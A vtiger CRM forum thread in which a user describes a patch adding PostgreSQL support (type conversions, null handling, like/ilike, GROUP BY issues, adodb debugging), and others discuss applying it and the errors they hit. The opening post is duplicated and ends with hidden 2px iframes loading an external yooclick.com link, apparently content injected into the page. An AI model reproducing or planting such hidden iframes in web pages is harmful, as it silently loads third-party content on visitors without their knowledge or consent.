Howdy, Stranger!
It looks like you're new here. If you want to get involved, click one of these buttons!
Categories
- 17.5K All Categories
- 43 Vtiger CRM 8.1.0
- 61 Vtiger CRM 8.0.0
- 129 Vtiger CRM 7.5.0
- 7.9K Vtiger CRM 7.4.0
- 309 Vtiger CRM 7.3.0
- 695 Vtiger CRM 7.2.0
- 1.7K Vtiger CRM 7.1.0
- 1.3K Vtiger CRM 7.0.0
- 2.2K Vtiger 6.x
- 1.7K Vtiger CRM 6.5.0
- 1.5K Vtiger CRM 6.4.0
- 304 Vtiger CRM 6.3.0
- 1.7K Vtiger CRM 6.2.0
- 1.4K Vtiger CRM 6.1.0
- 3.1K vtiger CRM 6.0.0
- 638 Help - 6.0
- 171 Feature Requests - 6.0
- 231 Extensions - 6.0
- 411 Usability - 6.0
- 1.3K vtiger CRM - Mobile Apps
- 233 Help
- 35.7K Archives
- 1.6K vtiger CRM 5.4.0
- 1.4K vtiger CRM 5.3.0
- 5.8K vtiger CRM 5.1.0
- 3.8K vtiger CRM 5.0.4
- 2.3K vtiger CRM 5.0.3
- 9.4K vtiger CRM 5.0.2
- 5.3K vtiger CRM 4.x
- 2.5K vtiger CRM - Extensions
- 4.6K Announcements & Discussions
- 28 Test Forum
- 252 Blogs
Postgres Support
First I'd like to apologies of the quality of the patch. It's way to large, some of the changes are poorly thought out and it's against version 4.2.1 instead of cvs. All of this if you haven't guessed is a result of creating these changes at work were the credo is "get it done" not "get it done right".
MAJOR CHANGES
1. column type integer(size) is not supported
- this should probably be handled by adodb (but it's not)
- converted all integers with size >= 10 to normal integer (8byte integers would be a more direct conversion but I didn't see any reason to use such large numbers)
- converted smaller integers (only size <=4 I believe) to numeric(size)
- all the integers(size) could have been converted to numeric(size) however I was worried about the possible speed penalty in doing this.
2. inserting nulls
- this is a tricky one in working cross database, adodb didn't seem to have any good solutions and I'm not sure what the best approach on this one is
- postgres won't accept '' into a numeric/integer/float field so I made these 'null' (without the quotes) instead
3. case sensitivity on search
- postgres supports both case sensitive comparisons (like) and case insensitive comparisons (ilike) as oppose to mysql where 'like' means case insensitive
- replaced all 'like's with a function which returns like or ilike dependent on the database type
4. column aliases
- select column1 alias1, column2 alias2, .... was changed to select column1 AS alias1, column2 AS alias2, ...
- another thing which could be handled by adodb (but it could prove too slow to implement)
5. date formatting
- use adodb to format dates for insertion
UNRESOLVED ISSUES
1. group by
- postgres doesn't support grouping by fewer columns then the number of non aggregate columns you are selecting
- I'm not sure how mysql handles this (as it doesn't really make any sense if you think about it), I can only assume it does the same as postgres's select distinct on (column) which drops undetermined rows in your results with matching column values
- I implemented this in some situations however using distinct on limits your ability to use order by
- Also I don't see the purpose of most of this grouping as it seems to be redundant with proper data consistency (maybe it's needed for migrating data from earlier versions)
- Current solution is to just not preform the group by when using postgres
2. more of the same
- I've gone though and checked that most of the features my company is going to use work with these changes but I know that these code changes need to be applied in more places as they are located
3. initialization issues
- sequence creation: the way adodb is creating sequences (attempt to use them, if's that fails create them) doesn't work in a transaction, I've noted the following sequences which I needed to create manually: crementity_seq, potstagehistory_seq, customfield_sequence_seq, activity_reminder_seq.
- other problems: a few constraints fail to be created, either due to name collisions with other constraints or by creating a foreign key to a non unique key, I'm unsure as to how mysql handles these issues (I suspect it has the same problems) so I left them as they were. I suggest installing with adodb debugging enabled (see below) and correcting these issues manually
MORE DEBUGGING NEEDED
- Installing instructions are the same as for Oracle execpt using postgres7 as the driver.
- I'd suggest enabling adodb debugging include/database/PearDatabase.php:~668 and modifying the adodb debug function to only output debugging information when there's an error:
adodb/adodb-lib.inc.php:_adodb_debug_execute move the "if ($inBrowser)" block to inside the "else if (!$qID)" block.
NOTE: I haven't tested any of these changes against MySQL or Oracle so some bugs may be introduced to existing implementations although I don't expect anything has been broken. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
MAJOR CHANGES
1. column type integer(size) is not supported
- this should probably be handled by adodb (but it's not)
- converted all integers with size >= 10 to normal integer (8byte integers would be a more direct conversion but I didn't see any reason to use such large numbers)
- converted smaller integers (only size <=4 I believe) to numeric(size)
- all the integers(size) could have been converted to numeric(size) however I was worried about the possible speed penalty in doing this.
2. inserting nulls
- this is a tricky one in working cross database, adodb didn't seem to have any good solutions and I'm not sure what the best approach on this one is
- postgres won't accept '' into a numeric/integer/float field so I made these 'null' (without the quotes) instead
3. case sensitivity on search
- postgres supports both case sensitive comparisons (like) and case insensitive comparisons (ilike) as oppose to mysql where 'like' means case insensitive
- replaced all 'like's with a function which returns like or ilike dependent on the database type
4. column aliases
- select column1 alias1, column2 alias2, .... was changed to select column1 AS alias1, column2 AS alias2, ...
- another thing which could be handled by adodb (but it could prove too slow to implement)
5. date formatting
- use adodb to format dates for insertion
UNRESOLVED ISSUES
1. group by
- postgres doesn't support grouping by fewer columns then the number of non aggregate columns you are selecting
- I'm not sure how mysql handles this (as it doesn't really make any sense if you think about it), I can only assume it does the same as postgres's select distinct on (column) which drops undetermined rows in your results with matching column values
- I implemented this in some situations however using distinct on limits your ability to use order by
- Also I don't see the purpose of most of this grouping as it seems to be redundant with proper data consistency (maybe it's needed for migrating data from earlier versions)
- Current solution is to just not preform the group by when using postgres
2. more of the same
- I've gone though and checked that most of the features my company is going to use work with these changes but I know that these code changes need to be applied in more places as they are located
3. initialization issues
- sequence creation: the way adodb is creating sequences (attempt to use them, if's that fails create them) doesn't work in a transaction, I've noted the following sequences which I needed to create manually: crementity_seq, potstagehistory_seq, customfield_sequence_seq, activity_reminder_seq.
- other problems: a few constraints fail to be created, either due to name collisions with other constraints or by creating a foreign key to a non unique key, I'm unsure as to how mysql handles these issues (I suspect it has the same problems) so I left them as they were. I suggest installing with adodb debugging enabled (see below) and correcting these issues manually
MORE DEBUGGING NEEDED
- Installing instructions are the same as for Oracle execpt using postgres7 as the driver.
- I'd suggest enabling adodb debugging include/database/PearDatabase.php:~668 and modifying the adodb debug function to only output debugging information when there's an error:
adodb/adodb-lib.inc.php:_adodb_debug_execute move the "if ($inBrowser)" block to inside the "else if (!$qID)" block.
NOTE: I haven't tested any of these changes against MySQL or Oracle so some bugs may be introduced to existing implementations although I don't expect anything has been broken. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
we really appreciate the contribution. no need to be apologetic! postgres support is definitely much needed.
we will integrate this as soon as practical.
regards,
mani
thank you for the great work you have done! we were looking for a quality crm app with postgresql support. this is perfect.
i have a question; how do we emplement the pach? it doesn't appear to be a php script. it looks to me like a list of changes to the databaseschema.xml file. some simple instructions would be a great help.
- pman
vtiger product team: what's the timeframe for this to be supported in the main product? this has always been loosely addressed and it would be helpful to have a solid idea of when you intend to support this.
first you'll need to start with vtiger 4.2.1 (4.2.2 will probably work with only a couple conflicts, but i made this patch against 4.2.1).
i find the easiest way to apply the patch is to rename your vtiger folder to "vtiger_crm_4_2-r1" and put the patch file in the same directory as the folder (not in the folder but up one level) then run "patch postgres.txt".
you should be able to do something like "patch -p1 <vtiger_folder> postgres.txt" but i never get that right. see "man patch" for more information.
if you're running windows i don't know what programs are avaiable to apply a patch file but you should be able to get "patch" to work trough cygwin.
i am a developer. (but not experience with database development. i'll try setting this up but would probably be better at testing what others are doing toward this goal.
who else is actively working on using postgres and is there a work plan inplace that i can help with?
i patched against the current downloadable version (4.2) using "patch < postgresql.txt". and after playing with it a while, it works!
remember to change database type in the config.php file after it has been created by the installer (between 4th & 5th step i think). the installer changes the dbtype back to mysql, so you have to change it again.
i used dbtype "postgres7" for my pg v7.5. look in adodb/drivers/ to find the one that suits you.
don't know what to do about it.
glad to hear you got the patch to apply
if you could enable adodb debugging:
in include/database/peardatabase.php:~668 set "$this->database->debug = true;"
then try and add a contact again and paste any errors so we can see what's going wrong.
i'd suggest leaving the adodb debugging on all the time and modifying the adodb debug routine to only output on errors:
in adodb/adodb-lib.inc.php: function _adodb_debug_execute move the "if ($inbrowser)" block to inside the "else if (!$qid)" block.
thanks
it quite a while since i played with it, so i dont remember the details, but:
i tried enabling debugmode, and got quite a few errors. i think the problem is that if an error occurs, postgresql ignores the rest of the queries in that transaction, until a commit or rollback i issued (this is only a theory).
i saw a lot of "query is ignored" in the output.
so there is definatly still a bit of work left on the patch, but thanks for what you have done so far!
lets hope the core developers are going to use it to be able to support postgresql in the future..
you're theory is correct, but if you post the top most error we can take a look at what the real problem is.